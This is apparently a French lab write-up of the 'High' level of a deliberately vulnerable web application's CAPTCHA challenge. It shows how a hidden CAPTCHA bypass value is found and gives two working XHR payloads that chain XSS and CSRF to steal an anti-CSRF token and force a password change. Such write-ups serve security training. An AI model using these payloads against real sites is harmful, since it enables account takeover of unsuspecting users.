Niveau "High"
Quelles nouveautés pour ce niveau "High" ? :

Ici pas d'étape de confirmation, le changement du mot de passe est directement effectué :

La seule requête effectuée est la suivante :

J'identifie rapidement la présence d'un jeton anti-CSRF nommé user_token
, mais plus intéressant ici, la réponse contient un commentaire HTML :

Il s'agit sans doute d'un contournement mis en place par le développeur afin de tester sa feature sans avoir à résoudre le Captcha. Je forge donc une requête dont la valeur du Captcha (le paramètre g-recaptcha-response
) est hidd3n_valu3
ainsi qu'un entête User-Agent
possédant la valeur reCAPTCHA
:

Le changement du mot de passe fonctionne :

A cause de la présence du jeton anti-CSRF il me faut exploiter une faille XSS sur l'application cible afin de récupérer un jeton puis seulement effectuer l'attaque CSRF.
Voici la première requête XHR
:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
// Ici la seconde requête
};
xhr.send();
Une fois le jeton récupéré, la seconde requête effectuée sera :
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", 'http://192.168.56.203/vulnerabilities/captcha/', true);
xhr2.setRequestHeader("User-Agent", "reCAPTCHA");
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.withCredentials = true;
xhr2.send("step=1&password_new=hacked&password_conf=hacked&g-recaptcha-response=hidd3n_valu3&user_token="+token+"&Change=Change");
L'exploitation de la vulnérabilité ne fonctionne pas sous Chrome (testée sur la version 78), car le navigateur interdit la modification de l'entête User-Agent
:

Mais cela fonctionne sur Firefox (testée sur la version 70) :

Dernière mise à jour